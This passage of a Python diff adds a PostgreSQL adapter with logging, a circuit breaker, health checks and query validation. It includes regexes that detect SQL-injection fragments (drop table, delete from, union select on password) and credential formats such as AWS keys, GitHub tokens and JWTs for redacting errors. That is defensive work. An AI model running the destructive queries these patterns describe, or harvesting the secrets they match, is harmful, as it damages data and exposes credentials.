operation: str = "general", + exception: Optional[Exception] = None, **kwargs): + """Log error level message with structured fields and exception context.""" + extra = self._build_extra(correlation_id, operation, **kwargs) + if exception: + extra['exception_type'] = type(exception).__name__ + extra['exception_message'] = str(exception) + self.logger.error(message, extra=extra, exc_info=exception is not None) + + def debug(self, message: str, correlation_id: Optional[UUID] = None, operation: str = "general", **kwargs): + """Log debug level message with structured fields.""" + extra = self._build_extra(correlation_id, operation, **kwargs) + self.logger.debug(message, extra=extra) + + def log_query_start(self, correlation_id: UUID, query: str, params_count: int): + """Log start of database query execution.""" + self.info( + f"Starting database query execution (params: {params_count})", + correlation_id=correlation_id, + operation="query_start", + query_length=len(query), + parameters_count=params_count, + query_preview=query[:100] + "..." if len(query) > 100 else query + ) + + def log_query_success(self, correlation_id: UUID, execution_time_ms: float, rows_affected: int): + """Log successful database query completion.""" + self.info( + f"Database query completed successfully in {execution_time_ms:.2f}ms (rows: {rows_affected})", + correlation_id=correlation_id, + operation="query_success", + execution_time_ms=execution_time_ms, + rows_affected=rows_affected, + performance_category="fast" if execution_time_ms < 100 else "slow" if execution_time_ms < 1000 else "very_slow" + ) + + def log_query_error(self, correlation_id: UUID, execution_time_ms: float, exception: Exception): + """Log database query error with context.""" + self.error( + f"Database query failed after {execution_time_ms:.2f}ms", + correlation_id=correlation_id, + operation="query_error", + exception=exception, + execution_time_ms=execution_time_ms, + error_category=self._categorize_db_error(exception) + ) + + def log_circuit_breaker_event(self, correlation_id: Optional[UUID], event: str, state: str, **kwargs): + """Log circuit breaker state changes and events.""" + self.warning( + f"Circuit breaker {event} - state: {state}", + correlation_id=correlation_id, + operation="circuit_breaker", + circuit_state=state, + event_type=event, + **kwargs + ) + + def log_health_check(self, check_name: str, status: str, execution_time_ms: float, **kwargs): + """Log health check results.""" + level_method = self.info if status == "healthy" else self.warning if status == "degraded" else self.error + level_method( + f"Health check '{check_name}' returned {status} in {execution_time_ms:.2f}ms", + operation="health_check", + check_name=check_name, + health_status=status, + execution_time_ms=execution_time_ms, + **kwargs + ) + + def _categorize_db_error(self, exception: Exception) -> str: + """Categorize database errors for better observability.""" + error_str = str(exception).lower() + if "connection" in error_str or "timeout" in error_str: + return "connectivity" + elif "syntax" in error_str or "invalid" in error_str: + return "query_syntax" + elif "permission" in error_str or "access" in error_str: + return "authorization" + elif "constraint" in error_str or "duplicate" in error_str: + return "data_integrity" + else: + return "unknown" + + +class CircuitBreakerState(Enum): + """Circuit breaker states for database connectivity failures.""" + CLOSED = "closed" # Normal operation + OPEN = "open" # Failing, rejecting calls + HALF_OPEN = "half_open" # Testing if service recovered + + +class DatabaseCircuitBreaker: + """ + Circuit breaker implementation for database connectivity failures. + + Prevents cascading failures by monitoring database operation failures + and temporarily blocking requests when failure thresholds are exceeded. + """ + + def __init__(self, failure_threshold: int = 5, timeout_seconds: int = 60, half_open_max_calls: int = 3): + """ + Initialize circuit breaker with configurable thresholds. + + Args: + failure_threshold: Number of failures before opening circuit + timeout_seconds: Time to wait before attempting recovery + half_open_max_calls: Max calls to allow in half-open state + """ + self.failure_threshold = failure_threshold + self.timeout_seconds = timeout_seconds + self.half_open_max_calls = half_open_max_calls + + self.state = CircuitBreakerState.CLOSED + self.failure_count = 0 + self.last_failure_time: Optional[datetime] = None + self.half_open_calls = 0 + self._lock = asyncio.Lock() + + async def call(self, func: Callable, *args, **kwargs): + """ + Execute function with circuit breaker protection. + + Args: + func: Function to execute + *args: Function arguments + **kwargs: Function keyword arguments + + Returns: + Function result + + Raises: + OnexError: If circuit is open or function fails + """ + async with self._lock: + # Check if we should attempt recovery + if self.state == CircuitBreakerState.OPEN: + if self._should_attempt_reset(): + self.state = CircuitBreakerState.HALF_OPEN + self.half_open_calls = 0 + else: + raise OnexError( + code=CoreErrorCode.SERVICE_UNAVAILABLE_ERROR, + message="Database circuit breaker is OPEN - service temporarily unavailable", + ) + + # In half-open state, limit calls + if self.state == CircuitBreakerState.HALF_OPEN: + if self.half_open_calls >= self.half_open_max_calls: + raise OnexError( + code=CoreErrorCode.SERVICE_UNAVAILABLE_ERROR, + message="Database circuit breaker is HALF_OPEN - maximum test calls exceeded", + ) + self.half_open_calls += 1 + + # Execute the function + try: + result = await func(*args, **kwargs) + await self._record_success() + return result + except Exception as e: + await self._record_failure(e) + raise + + async def _record_success(self): + """Record successful operation and potentially close circuit.""" + async with self._lock: + if self.state == CircuitBreakerState.HALF_OPEN: + # Reset to closed state after successful test + self.state = CircuitBreakerState.CLOSED + self.failure_count = 0 + self.last_failure_time = None + self.half_open_calls = 0 + elif self.state == CircuitBreakerState.CLOSED: + # Reset failure count on success in closed state + self.failure_count = max(0, self.failure_count - 1) + + async def _record_failure(self, exception: Exception): + """Record failed operation and potentially open circuit.""" + async with self._lock: + self.failure_count += 1 + self.last_failure_time = datetime.utcnow() + + if self.failure_count >= self.failure_threshold: + self.state = CircuitBreakerState.OPEN + + def _should_attempt_reset(self) -> bool: + """Check if enough time has passed to attempt recovery.""" + if not self.last_failure_time: + return True + + time_since_failure = datetime.utcnow() - self.last_failure_time + return time_since_failure >= timedelta(seconds=self.timeout_seconds) + + def get_state(self) -> dict: + """Get current circuit breaker state for monitoring.""" + return { + "state": self.state.value, + "failure_count": self.failure_count, + "last_failure_time": self.last_failure_time.isoformat() if self.last_failure_time else None, + "half_open_calls": self.half_open_calls if self.state == CircuitBreakerState.HALF_OPEN else 0, + } + + +class NodePostgresAdapterEffect(NodeEffectService): + """ + Infrastructure PostgreSQL Adapter Node - Message Bus Bridge. + + Converts message bus envelopes containing database requests into direct + PostgreSQL connection manager operations. This follows the ONEX infrastructure + tool pattern where adapters serve as bridges between the event-driven message + bus and external service APIs. + + Message Flow: + Event Envelope → PostgreSQL Adapter → PostgreSQL Connection Manager → Database + + Integrates with: + - postgres_event_processing_subcontract: Event bus integration patterns + - postgres_connection_management_subcontract: Connection pool management + """ + + # Configuration will be loaded from environment or container + config: ModelPostgresAdapterConfig + + # Pre-compiled regex patterns for performance + _SQL_INJECTION_PATTERNS = [ + re.compile(r';.*drop\s+table', re.IGNORECASE), + re.compile(r';.*delete\s+from', re.IGNORECASE), + re.compile(r';.*truncate\s+table', re.IGNORECASE), + re.compile(r'union.*select.*password', re.IGNORECASE), + re.compile(r'union.*select.*admin', re.IGNORECASE), + ] + + _COMPLEXITY_PATTERNS = { + 'joins': re.compile(r'\bjoin\b', re.IGNORECASE), + 'selects': re.compile(r'\bselect\b', re.IGNORECASE), + 'unions': re.compile(r'\bunion\b', re.IGNORECASE), + 'leading_wildcards': re.compile(r'like\s+[\'"]%', re.IGNORECASE), + 'regex_ops': re.compile(r'~[*]?\s*[\'"]', re.IGNORECASE), + } + + _ERROR_SANITIZATION_PATTERNS = [ + (re.compile(r'password=[^\s&]*', re.IGNORECASE), 'password=***'), + (re.compile(r'postgresql://[^\s]*@[^\s]*/', re.IGNORECASE), 'postgresql://***@***/'), + (re.compile(r'eyJ[A-Za-z0-9+/=]*\.[A-Za-z0-9+/=]*\.[A-Za-z0-9+/=]*'), '***JWT_TOKEN***'), + (re.compile(r'ghp_[A-Za-z0-9]{36}'), '***GITHUB_TOKEN***'), + (re.compile(r'gho_[A-Za-z0-9]{36}'), '***GITHUB_OAUTH_TOKEN***'), + (re.compile(r'ghu_[A-Za-z0-9]{36}'), '***GITHUB_USER_TOKEN***'), + (re.compile(r'AKIA[0-9A-Z]{16}'), '***AWS_ACCESS_KEY***'), + (re.compile(r'[A-Za-z0-9/+=]{40}'), '***AWS_SECRET_KEY***'), + (re.compile(r'api[_-]?key[_-]*[:=][^\s&]*', re.IGNORECASE), 'api_key=***'), + (re.compile(r'bearer[\s]+[A-Za-z0-9+/=]{20,}', re.IGNORECASE), 'bearer ***'), + (re.compile(r'auth[_-]?token[_-]*[:=][^\s&]*', re.IGNORECASE), 'auth_token=***'), + (re.compile(r'access[_-]?token[_-]*[:=][^\s&]*', re.IGNORECASE), 'access_token=***'), + (re.compile(r'/[\w/.-]*(?:password|secret|key|token|jwt|api)[\w/.-]*', re.IGNORECASE), '/***sensitive_path***'), + (re.compile(r'schema "[\w_-]+"'), 'schema "***"'), + (re.compile(r'table "[\w_-]+"'), 'table "***"'), + (re.compile(r'[A-Za-z0-9+/=]{32,}'), '***REDACTED_TOKEN***'), + ] + + # Pre-compiled regex patterns for PostgreSQL status parsing (performance optimization) + _ROWS_AFFECTED_PATTERNS = [ + # INSERT operations: "INSERT 0 5" -> 5 rows + (re.compile(r'^INSERT\s+\d+\s+(\d+)$', re.IGNORECASE), 1), + + # UPDATE operations: "UPDATE 3" -> 3 rows + (re.compile(r'^UPDATE\s+(\d+)$', re.IGNORECASE), 1), + + # DELETE operations: "DELETE 2" -> 2 rows + (re.compile(r'^DELETE\s+(\d+)$', re.IGNORECASE), 1), + + # COPY operations: "COPY 100" -> 100 rows + (re.compile(r'^COPY\s+(\d+)$', re.IGNORECASE), 1), + + # Generic pattern for any command followed by a number + (re.compile(r'^[A-Z]+\s+(\d+)$', re.IGNORECASE), 1), + ] + + def __init__(self, container: ModelONEXContainer): + """Initialize PostgreSQL adapter tool with container injection.""" + super().__init__(container) + self.node_type = "effect" + self.domain = "infrastructure" + self._connection_manager: Optional[PostgresConnectionManager] = None + self._connection_manager_lock = asyncio.Lock() + self._connection_manager_sync_lock = threading.Lock() + + # Initialize circuit breaker for database connectivity failures + self._circuit_breaker = DatabaseCircuitBreaker( + failure_threshold=5, # Open circuit after 5 failures + timeout_seconds=60, # Wait 60 seconds before retry + half_open_max_calls=3 # Allow 3 test calls in half-open state + ) + + # Initialize structured logger with correlation ID support + self._logger = PostgresStructuredLogger("postgres_adapter_node") + + # Initialize configuration from environment or container + self.config = self._load_configuration(container) + + # Log adapter initialization + self._logger.info( + "PostgreSQL adapter initialized successfully", + operation="initialization", + node_type=self.node_type, + domain=self.domain + ) + + def _load_configuration(self, container: ModelONEXContainer) -> ModelPostgresAdapterConfig: + """ + Load PostgreSQL adapter configuration from container or environment. + + Args: + container: ONEX container for dependency injection + + Returns: + Configured ModelPostgresAdapterConfig instance + """ + try: + # Try to get configuration from container first (ONEX pattern) + config = container.get_service("postgres_adapter_config") + if config and hasattr(config, 'postgres_host') and hasattr(config, 'postgres_port'): + return config + except Exception: + pass # Fall back to environment configuration + + # Fall back to environment-based configuration + environment = os.getenv("DEPLOYMENT_ENVIRONMENT", "development") + return ModelPostgresAdapterConfig.for_environment(environment) + + def _validate_correlation_id(self, correlation_id: Optional[UUID]) -> UUID: + """ + Validate and normalize correlation ID to prevent injection attacks. + + Args: + correlation_id: Optional correlation ID to validate + + Returns: + Valid UUID correlation ID + + Raises: + OnexError: If correlation ID format is invalid + """ + if correlation_id is None: + # Generate a new correlation ID if none provided + return uuid4() + + if hasattr(correlation_id, 'replace') and hasattr(correlation_id, 'split'): # String-like + try: + # Try to parse string as UUID to validate format + correlation_id = UUID(correlation_id) + except ValueError as e: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message="Invalid correlation ID format - must be valid UUID" + ) from e + + if not hasattr(correlation_id, 'hex'): + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message="Correlation ID must be UUID type" + ) + + # Additional validation: ensure it's not an empty UUID + if correlation_id == UUID('00000000-0000-0000-0000-000000000000'): + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message="Correlation ID cannot be empty UUID" + ) + + return correlation_id + + @property + def connection_manager(self) -> PostgresConnectionManager: + """ + Get PostgreSQL connection manager instance via registry injection with thread safety. + + Note: For async operations, prefer get_connection_manager_async() to avoid mixing sync/async patterns. + """ + with self._connection_manager_sync_lock: + if self._connection_manager is None: + # Validate container service interface before resolution + self._validate_container_service_interface() + + # Use container injection per ONEX standards + self._connection_manager = self.container.get_service("postgres_connection_manager") + + # Validate the resolved service interface + self._validate_connection_manager_interface(self._connection_manager) + + return self._connection_manager + + async def get_connection_manager_async(self) -> PostgresConnectionManager: + """ + Get PostgreSQL connection manager instance via registry injection with thread safety. + + Returns: + PostgresConnectionManager instance + + Raises: + OnexError: If connection manager cannot be resolved + """ + async with self._connection_manager_lock: + if self._connection_manager is None: + # Validate container service interface before resolution + self._validate_container_service_interface() + + # Use container injection per ONEX standards + self._connection_manager = self.container.get_service("postgres_connection_manager") + + # Validate the resolved service interface + self._validate_connection_manager_interface(self._connection_manager) + + return self._connection_manager + + def get_health_checks(self) -> List[Callable[[], Union[ModelHealthStatus, "asyncio.Future[ModelHealthStatus]"]]]: + """ + Override MixinHealthCheck to provide PostgreSQL-specific health checks. + + Returns list of health check functions that validate PostgreSQL connectivity, + connection pool status, and database accessibility. + """ + return [ + self._check_database_connectivity, + self._check_connection_pool_health, + self._check_circuit_breaker_health, + ] + + def _check_database_connectivity(self) -> ModelHealthStatus: + """Check basic PostgreSQL database connectivity (sync wrapper for health checks).""" + start_time = time.perf_counter() + try: + # Simple sync health check without async operations + # This avoids event loop complexity in health check context + if self._connection_manager is None: + execution_time_ms = (time.perf_counter() - start_time) * 1000 + self._logger.log_health_check( + check_name="database_connectivity", + status="degraded", + execution_time_ms=execution_time_ms, + reason="connection_manager_not_initialized" + ) + return ModelHealthStatus( + status=EnumHealthStatus.DEGRADED, + message="Connection manager not initialized", + timestamp=datetime.utcnow().isoformat() + ) + + # Basic connectivity indicator based on manager state + execution_time_ms = (time.perf_counter() - start_time) * 1000 + self._logger.log_health_check( + check_name="database_connectivity", + status="healthy", + execution_time_ms=execution_time_ms, + reason="connection_manager_operational" + ) + return ModelHealthStatus( + status=EnumHealthStatus.HEALTHY, + message="Database connection manager operational", + timestamp=datetime.utcnow().isoformat() + ) + + except Exception as e: + execution_time_ms = (time.perf_counter() - start_time) * 1000 + self._logger.log_health_check( + check_name="database_connectivity", + status="unhealthy", + execution_time_ms=execution_time_ms, + error_type=type(e).__name__, + error_message=str(e) + ) + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Database connectivity check failed: {str(e)}", + timestamp=datetime.utcnow().isoformat() + ) + + async def _check_database_connectivity_async(self) -> ModelHealthStatus: + """Check basic PostgreSQL database connectivity (async version for operation handlers).""" + try: + # Async connectivity test via connection manager + connection_manager = await self.get_connection_manager_async() + health_data = await connection_manager.health_check() + status = health_data.get("status", "unknown") + + if status == "healthy": + return ModelHealthStatus( + status=EnumHealthStatus.HEALTHY, + message="Database connectivity verified", + timestamp=datetime.utcnow().isoformat() + ) + elif status == "degraded": + return ModelHealthStatus( + status=EnumHealthStatus.DEGRADED, + message="Database connectivity degraded", + timestamp=datetime.utcnow().isoformat() + ) + else: + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Database connectivity failed: {status}", + timestamp=datetime.utcnow().isoformat() + ) + + except Exception as e: + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Database connectivity check failed: {str(e)}", + timestamp=datetime.utcnow().isoformat() + ) + + def _check_connection_pool_health(self) -> ModelHealthStatus: + """Check PostgreSQL connection pool health and capacity (sync version for mixin).""" + try: + # Check if connection manager is available + if self._connection_manager is None: + return ModelHealthStatus( + status=EnumHealthStatus.DEGRADED, + message="Connection manager not initialized", + timestamp=datetime.utcnow().isoformat() + ) + + # Connection pool is healthy if manager exists and is operational + return ModelHealthStatus( + status=EnumHealthStatus.HEALTHY, + message="Connection pool operational", + timestamp=datetime.utcnow().isoformat() + ) + + except Exception as e: + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Connection pool check failed: {str(e)}", + timestamp=datetime.utcnow().isoformat() + ) + + async def _check_connection_pool_health_async(self) -> ModelHealthStatus: + """Check PostgreSQL connection pool health and capacity (async version for operation handlers).""" + try: + # Check if connection manager is available with proper async access + connection_manager = await self.get_connection_manager_async() + stats = connection_manager.get_connection_stats() + + # Check pool health based on connection stats + if stats.failed_connections > stats.total_connections * 0.1: # More than 10% failures + return ModelHealthStatus( + status=EnumHealthStatus.DEGRADED, + message=f"High connection failure rate: {stats.failed_connections}/{stats.total_connections}", + timestamp=datetime.utcnow().isoformat() + ) + + return ModelHealthStatus( + status=EnumHealthStatus.HEALTHY, + message=f"Connection pool healthy: {stats.size}/{stats.total_connections} connections", + timestamp=datetime.utcnow().isoformat() + ) + + except Exception as e: + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Connection pool check failed: {str(e)}", + timestamp=datetime.utcnow().isoformat() + ) + + def _check_circuit_breaker_health(self) -> ModelHealthStatus: + """Check circuit breaker health and state (sync version for health checks).""" + try: + circuit_state = self._circuit_breaker.get_state() + state_value = circuit_state["state"] + + if state_value == CircuitBreakerState.CLOSED.value: + return ModelHealthStatus( + status=EnumHealthStatus.HEALTHY, + message=f"Circuit breaker CLOSED - failures: {circuit_state['failure_count']}", + timestamp=datetime.utcnow().isoformat() + ) + elif state_value == CircuitBreakerState.HALF_OPEN.value: + return ModelHealthStatus( + status=EnumHealthStatus.DEGRADED, + message=f"Circuit breaker HALF_OPEN - testing recovery ({circuit_state['half_open_calls']} calls)", + timestamp=datetime.utcnow().isoformat() + ) + else: # OPEN state + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Circuit breaker OPEN - service temporarily unavailable (failures: {circuit_state['failure_count']})", + timestamp=datetime.utcnow().isoformat() + ) + + except Exception as e: + return ModelHealthStatus( + status=EnumHealthStatus.UNHEALTHY, + message=f"Circuit breaker health check failed: {str(e)}", + timestamp=datetime.utcnow().isoformat() + ) + + async def process(self, input_data: ModelPostgresAdapterInput) -> ModelPostgresAdapterOutput: + """ + Process PostgreSQL adapter request following infrastructure tool pattern. + + Routes message envelope to appropriate database operation based on operation_type. + Handles both query execution and health check operations with proper error handling + and metrics collection as defined in the event processing subcontract. + + Args: + input_data: Input envelope containing operation type and request data + + Returns: + Output envelope with operation results + """ + start_time = time.perf_counter() + + try: + # Validate and normalize correlation ID to prevent injection attacks + validated_correlation_id = self._validate_correlation_id(input_data.correlation_id) + + # Update the input data with validated correlation ID if it was modified + if validated_correlation_id != input_data.correlation_id: + input_data.correlation_id = validated_correlation_id + + # Route based on operation type (as defined in subcontracts) + if input_data.operation_type == "query": + return await self._handle_query_operation(input_data, start_time) + elif input_data.operation_type == "health_check": + return await self._handle_health_check_operation(input_data, start_time) + else: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message=f"Unsupported operation type: {input_data.operation_type}", + ) + + except Exception as e: + execution_time_ms = (time.perf_counter() - start_time) * 1000 + + if hasattr(e, 'code') and hasattr(e, 'message'): # OnexError-like + error_message = str(e) + else: + error_message = f"PostgreSQL adapter tool error: {str(e)}" + + return ModelPostgresAdapterOutput( + operation_type=input_data.operation_type, + success=False, + error_message=error_message, + correlation_id=input_data.correlation_id, + timestamp=time.time(), + execution_time_ms=execution_time_ms, + context={"error_type": type(e).__name__} + ) + + async def _handle_query_operation( + self, + input_data: ModelPostgresAdapterInput, + start_time: float + ) -> ModelPostgresAdapterOutput: + """ + Handle database query operation following connection management patterns. + + Implements query execution strategy as defined in postgres_connection_management_subcontract + with proper timeout handling, retry logic, and performance monitoring. + """ + if not input_data.query_request: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message="Query request is required for query operation", + ) + + query_request = input_data.query_request + correlation_id = input_data.correlation_id + + # Log query start with structured logging + self._logger.log_query_start( + correlation_id=correlation_id, + query=query_request.query, + params_count=len(query_request.parameters) + ) + + # Input validation for security and performance + self._validate_query_input(query_request) + + try: + # Execute query through connection manager with circuit breaker protection + connection_manager = await self.get_connection_manager_async() + + # Wrap database call in circuit breaker for failure protection + result = await self._circuit_breaker.call( + connection_manager.execute_query, + query_request.query, + *query_request.parameters, + timeout=query_request.timeout, + record_metrics=query_request.record_metrics, + ) + + # Convert result to response format (as defined in event processing subcontract) + if hasattr(result, '__iter__') and hasattr(result, '__len__'): # List-like (SELECT query result) + # Create properly typed ModelPostgresQueryRow objects + + query_rows = [] + if result: + for record in result: + row_values = dict(record) + query_rows.append(ModelPostgresQueryRow(values=row_values)) + + rows_affected = len(query_rows) + status_message = f"SELECT returned {rows_affected} rows" + + # Create properly typed query result + query_result = ModelPostgresQueryResult( + rows=query_rows, + column_names=list(result[0].keys()) if result else [], + row_count=rows_affected, + has_more=False # TODO: Implement pagination if needed + ) + + else: # Non-SELECT query result (status string) + query_result = None + status_message = str(result) if result else "Query executed successfully" + # More robust parsing of rows affected from status string + rows_affected = self._parse_rows_affected_from_status(result) + + execution_time_ms = (time.perf_counter() - start_time) * 1000 + + # Log successful query completion + self._logger.log_query_success( + correlation_id=correlation_id, + execution_time_ms=execution_time_ms, + rows_affected=rows_affected + ) + + # Create query response (following shared model pattern) + query_response = ModelPostgresQueryResponse( + success=True, + data=query_result, + status_message=status_message, + rows_affected=rows_affected, + execution_time_ms=execution_time_ms, + correlation_id=query_request.correlation_id or input_data.correlation_id, + context=query_request.context, + ) + + return ModelPostgresAdapterOutput( + operation_type="query", + query_response=query_response, + success=True, + correlation_id=input_data.correlation_id, + timestamp=time.time(), + execution_time_ms=execution_time_ms, + context=input_data.context, + ) + + except Exception as e: + execution_time_ms = (time.perf_counter() - start_time) * 1000 + + # Log query error with structured logging + self._logger.log_query_error( + correlation_id=correlation_id, + execution_time_ms=execution_time_ms, + exception=e + ) + + # Sanitize error message to prevent sensitive information leakage (configurable) + if self.config.enable_error_sanitization: + sanitized_error = self._sanitize_error_message(str(e)) + else: + sanitized_error = str(e) + + # Create structured error model (ONEX compliance) + postgres_error = ModelPostgresError( + error_code=type(e).__name__, + error_message=sanitized_error, + severity="ERROR", + error_context=f"Query execution failed in {self.__class__.__name__}", + timestamp=time.time(), + query_id=str(query_request.correlation_id or input_data.correlation_id) + ) + + # Create error query response with structured error handling + query_response = ModelPostgresQueryResponse( + success=False, + data=None, + rows_affected=0, + execution_time_ms=execution_time_ms, + correlation_id=query_request.correlation_id or input_data.correlation_id, + status_message=sanitized_error, + error=postgres_error, # Use structured error model + context=query_request.context, + ) + + return ModelPostgresAdapterOutput( + operation_type="query", + query_response=query_response, + success=False, + error_message=sanitized_error, + correlation_id=input_data.correlation_id, + timestamp=time.time(), + execution_time_ms=execution_time_ms, + context=input_data.context, + ) + + async def _handle_health_check_operation( + self, + input_data: ModelPostgresAdapterInput, + start_time: float + ) -> ModelPostgresAdapterOutput: + """ + Handle health check operation for PostgreSQL adapter. + + Performs comprehensive health checks including database connectivity, + connection pool status, and adapter functionality. + """ + try: + # Run health checks using async versions for consistent async operation + health_results = [] + + # Run async database connectivity check + db_health = await self._check_database_connectivity_async() + health_results.append(db_health) + + # Run async connection pool check (fixed async/sync mixing) + pool_health = await self._check_connection_pool_health_async() + health_results.append(pool_health) + + # Determine overall health status + overall_healthy = all( + result.status == EnumHealthStatus.HEALTHY + for result in health_results + ) + + execution_time_ms = (time.perf_counter() - start_time) * 1000 + + # Create health check response + health_data = { + "overall_status": "healthy" if overall_healthy else "unhealthy", + "checks": [ + { + "name": f"check_{i}", + "status": result.status.value, + "message": result.message, + "timestamp": result.timestamp + } + for i, result in enumerate(health_results) + ], + "execution_time_ms": execution_time_ms + } + + return ModelPostgresAdapterOutput( + operation_type="health_check", + success=overall_healthy, + correlation_id=input_data.correlation_id, + timestamp=time.time(), + execution_time_ms=execution_time_ms, + context={ + "health_data": health_data, + **(input_data.context if input_data.context else {}) + } + ) + + except Exception as e: + execution_time_ms = (time.perf_counter() - start_time) * 1000 + # Sanitize error message (configurable) + if self.config.enable_error_sanitization: + sanitized_error = self._sanitize_error_message(f"Health check operation failed: {str(e)}") + else: + sanitized_error = f"Health check operation failed: {str(e)}" + + return ModelPostgresAdapterOutput( + operation_type="health_check", + success=False, + error_message=sanitized_error, + correlation_id=input_data.correlation_id, + timestamp=time.time(), + execution_time_ms=execution_time_ms, + context=input_data.context + ) + + async def initialize(self) -> None: + """ + Initialize the PostgreSQL adapter tool and connection manager. + + Follows initialization patterns defined in postgres_connection_management_subcontract + with proper error handling and resource setup. + """ + try: + connection_manager = await self.get_connection_manager_async() + await connection_manager.initialize() + except Exception as e: + raise OnexError( + code=CoreErrorCode.INITIALIZATION_ERROR, + message=f"Failed to initialize PostgreSQL adapter tool: {str(e)}", + ) from e + + async def cleanup(self) -> None: + """ + Cleanup resources when shutting down. + + Follows cleanup patterns defined in subcontracts with graceful resource disposal. + """ + if self._connection_manager: + try: + await self._connection_manager.close() + except Exception as e: + # Log error but don't raise during cleanup (as per infrastructure patterns) + pass + finally: + self._connection_manager = None + + def _validate_query_input(self, query_request) -> None: + """ + Validate query input for security and performance constraints. + + Validates: + - Query size limits to prevent memory exhaustion + - Parameter count limits to prevent resource exhaustion + - Parameter size limits to prevent payload attacks + - Basic SQL injection patterns prevention + """ + # Query size validation (prevent memory exhaustion) + if len(query_request.query) > self.config.max_query_size: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message=f"Query size exceeds maximum allowed length ({self.config.max_query_size} characters)", + ) + + # Parameter count validation (prevent resource exhaustion) + if len(query_request.parameters) > self.config.max_parameter_count: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message=f"Parameter count exceeds maximum allowed ({self.config.max_parameter_count} parameters)", + ) + + # Parameter size validation (prevent payload attacks) + for i, param in enumerate(query_request.parameters): + param_size = len(str(param)) + if param_size > self.config.max_parameter_size: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message=f"Parameter {i} size exceeds maximum allowed ({self.config.max_parameter_size} characters)", + ) + + # Timeout validation + if query_request.timeout and query_request.timeout > self.config.max_timeout_seconds: + raise OnexError( + code=CoreErrorCode.VALIDATION_ERROR, + message=f"Query timeout exceeds maximum allowed ({self.config.max_timeout_seconds} seconds)", + ) + + # Basic SQL injection pattern detection using pre-compiled patterns (configurable) + if self.config.enable_sql_injection_detection: + query_lower = query_request.query.lower() + for pattern in self._SQL_INJECTION_PATTERNS: + if pattern.search(query_lower): + raise OnexError( + code=CoreErrorCode.SECURITY_VIOLATION_ERROR, + message="Query contains potentially dangerous SQL patterns", + ) + + # Query complexity validation to prevent DoS attacks (configurable) + if self.config.enable_query_complexity_validation: + self._validate_query_complexity(query_request.query) + + def _validate_query_complexity(self, query: str) -> None: + """ + Validate query complexity to prevent DoS attacks. + + Analyzes SQL query complexity based on: + - Number of JOIN operations + - Number of subqueries and nested selects + - Number of UNION operations + - Presence of expensive operations (LIKE %, regex patterns) + - Complex aggregation functions + """ + query_lower = query.lower() + complexity_score = 0 + + # Get environment-specific complexity weights + weights = self.config.get_complexity_weights() + + # Count JOINs using pre-compiled pattern (each JOIN adds complexity) + join_count = len(self._COMPLEXITY_PATTERNS['joins'].findall(query_lower)) + complexity_score += join_count * weights["join"] + + # Count subqueries and nested selects using pre-compiled pattern + select_count = len(self._COMPLEXITY_PATTERNS['selects'].findall(query_lower)) - 1 # Subtract main SELECT + complexity_score += select_count * weights["subquery"] + + # Count UNION operations using pre-compiled pattern (expensive) + union_count = len(self._COMPLEXITY_PATTERNS['unions'].findall(query_lower)) + complexity_score += union_count * weights["union"] + + # Check for expensive LIKE operations with leading wildcards using pre-compiled pattern + leading_wildcard_count = len(self._COMPLEXITY_PATTERNS['leading_wildcards'].findall(query_lower)) + complexity_score += leading_wildcard_count * weights["leading_wildcard"] + + # Check for regex operations using pre-compiled pattern (very expensive) + regex_count = len(self._COMPLEXITY_PATTERNS['regex_ops'].findall(query_lower)) + complexity_score += regex_count * weights["regex"] + + # Check for expensive functions + expensive_functions = ['array_agg', 'string_agg', 'generate_series', 'recursive'] + for func in expensive_functions: + if func in query_lower: + complexity_score += weights["expensive_function"] + + # Check for potentially problematic ORDER BY without LIMIT + has_order_by = 'order by' in query_lower + has_limit = 'limit' in query_lower + if has_order_by and not has_limit: + complexity_score += weights["order_without_limit"] + + # Complexity threshold (configurable via configuration) + if complexity_score > self.config.max_complexity_score: + raise OnexError( + code=CoreErrorCode.SECURITY_VIOLATION_ERROR, + message=f"Query complexity score ({complexity_score}) exceeds maximum allowed ({self.config.max_complexity_score})", + ) + + def _validate_container_service_interface(self) -> None: + """ + Validate container service interface compliance. + + Ensures the container follows ONEX standards for service resolution: + - Has get_service method + - Supports proper service registration patterns + - Follows dependency injection protocols + """ + if not hasattr(self.container, 'get_service'): + raise OnexError( + code=CoreErrorCode.DEPENDENCY_RESOLUTION_ERROR, + message="Container does not implement required get_service interface", + ) + + # Validate container is not None + if self.container is None: + raise OnexError( + code=CoreErrorCode.DEPENDENCY_RESOLUTION_ERROR, + message="Container is None - proper ONEX container injection required", + ) + + def _validate_connection_manager_interface(self, connection_manager) -> None: + """ + Validate connection manager service interface compliance. + + Ensures the resolved connection manager implements required methods: + - execute_query (async) + - health_check (async) + - initialize (async) + - close (async) + """ + required_methods = ['execute_query', 'health_check', 'initialize', 'close'] + missing_methods = [] + + for method_name in required_methods: + if not hasattr(connection_manager, method_name): + missing_methods.append(method_name) + + if missing_methods: + raise OnexError( + code=CoreErrorCode.DEPENDENCY_RESOLUTION_ERROR, + message=f"Connection manager missing required methods: {missing_methods}", + ) + + # Validate that critical methods are callable + if not callable(getattr(connection_manager, 'execute_query', None)): + raise OnexError( + code=CoreErrorCode.DEPENDENCY_RESOLUTION_ERROR, + message="Connection manager execute_query method is not callable", + ) + + def _sanitize_error_message(self, error_message: str) -> str: + """ + Sanitize error messages to prevent sensitive information leakage. + + Removes or masks sensitive information like: + - Connection strings and passwords + - Database schema details + - Internal system paths + - Stack traces with sensitive info + """ + # Apply all sanitization patterns using pre-compiled regex for performance + sanitized = error_message + for pattern, replacement in self._ERROR_SANITIZATION_PATTERNS: + sanitized = pattern.sub(replacement, sanitized) + + # If error is too generic, provide a more specific safe message + if len(sanitized.strip()) < 10 or "connection" in sanitized.lower(): + return "Database operation 